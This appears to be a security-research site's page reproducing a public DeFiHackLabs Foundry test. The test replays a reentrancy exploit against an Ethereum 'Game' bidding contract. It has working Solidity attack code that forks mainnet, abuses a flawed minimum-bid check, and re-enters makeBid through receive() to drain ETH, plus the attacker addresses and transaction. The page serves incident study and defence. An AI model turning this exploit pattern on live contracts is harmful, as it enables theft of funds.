Public reproduction file
src/test/2024-02/Game_exp.sol
Public reproduction file for dataset entry Game.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~20 ETH8// Attacker : https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b9// Attack Contract : https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a10// Vuln Contract : https://etherscan.io/address/0x52d69c67536f55efefe02941868e5e762538dbd611// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c413// @Analysis14// https://twitter.com/AnciliaInc/status/175753314403373911616interface IGame {17 function newBidEtherMin() external view returns (uint256);19 function makeBid() external payable;20}22contract ContractTest is Test {23 IGame private constant Game = IGame(0x52d69c67536f55EfEfe02941868e5e762538dBD6);24 uint8 private reentrancyCalls;26 function setUp() public {27 vm.createSelectFork("mainnet", 19_213_946);28 vm.label(address(Game), "Game");29 }31 function testExploit() public {32 // Start with 0.6 Ether balance33 deal(address(this), 0.6 ether);34 emit log_named_decimal_uint("Exploiter ETH balance before attack", address(this).balance, 18);36 // Following amount will be returned multiple times in receive() function when exploiter make the bad bid37 uint256 bid = (address(this).balance * 49) / 100;38 Game.makeBid{value: bid}();40 makeBadBid();42 emit log_named_decimal_uint("Exploiter ETH balance after attack", address(this).balance, 18);43 }45 receive() external payable {46 if (reentrancyCalls <= 109) {47 ++reentrancyCalls;48 makeBadBid();49 } else {50 return;51 }52 }54 function makeBadBid() internal {55 // newBidEtherMin() has logic error and thanks to this exploiter can bypass the require statement in makeBid()56 // require(msg.value > newBidEtherMin(), "bid is too low");57 uint256 badBid = Game.newBidEtherMin() + 1; // +1 because "bid is too low"58 Game.makeBid{value: badBid}();59 }60}Analysis
Dataset entry
Public Foundry test for “Game” (2024-02-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
- src/test/2024-01/NBLGAME_exp.solSame protocol or name in the dataset · 160 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x145766a51ae96e69810fe76f6f68fd0e95675a0b
- Attack Contract
0x8d4de2bc1a566b266bd4b387f62c21e15474d12a
- Attack Tx
0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c4
- Explorer: https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b
- Explorer: https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a
- Explorer: https://etherscan.io/address/0x52d69c67536f55efefe02941868e5e762538dbd6
- Reference: https://twitter.com/AnciliaInc/status/1757533144033739116
File record
- Name
- Game
- Path
- src/test/2024-02/Game_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3267d2b41c9177619f2e67cc2cf970cd13114052
- Language
- Solidity
- Size
- 61 lines
- Date
- 2024-02-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/Game_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3267d2b41c9177619f2e67cc2cf970cd13114052, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.